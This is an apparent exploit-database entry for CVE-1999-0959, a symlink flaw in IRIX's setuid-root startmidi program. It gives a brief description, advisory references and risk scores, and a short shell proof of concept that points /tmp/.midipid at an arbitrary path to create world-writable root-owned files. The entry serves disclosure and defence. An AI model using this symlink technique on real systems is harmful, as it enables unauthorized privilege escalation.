SGI IRIX 6.4 - 'startmidi' Local Privilege Escalation
| Reporter | Title | Published | Views | Family All 5 |
|---|---|---|---|---|
 | CVE-1999-0959 | 12 Jul 200004:00 | – | cve |
 | CVE-1999-0959 | 12 Jul 200004:00 | – | cvelist |
 | EUVD-1999-0940 | 7 Oct 202500:30 | – | euvd |
 | CVE-1999-0959 | 1 Feb 199705:00 | – | nvd |
 | CVE-1999-0959 | 7 Jan 202609:43 | – | redhatcve |
source: https://www.securityfocus.com/bid/469/info
A vulnerability exists in the startmidi program from Silicon Graphics. This utility is included with Irix versions 5.x and 6.x with the Iris Digital Media Execution Environment. startmidi is setuid root, and creates a temporary file called /tmp/.midipid. It does not check to see if this file already exists, and is a symbolic link. As such, it can be used to create root owned files, with permissions as set by the user umask.
% umask 0
% ln -s /blardyblar /tmp/.midipid
% startmidi -d /dev/ttyd1
% ls -l /blardyblar
-rw-rw-rw- 1 root pgrad 0 Feb 9 17:46 /blardyblar
% stopmidi -d /dev/ttyd1
%Data
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22 Jun 2012 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.2
EPSS0.00706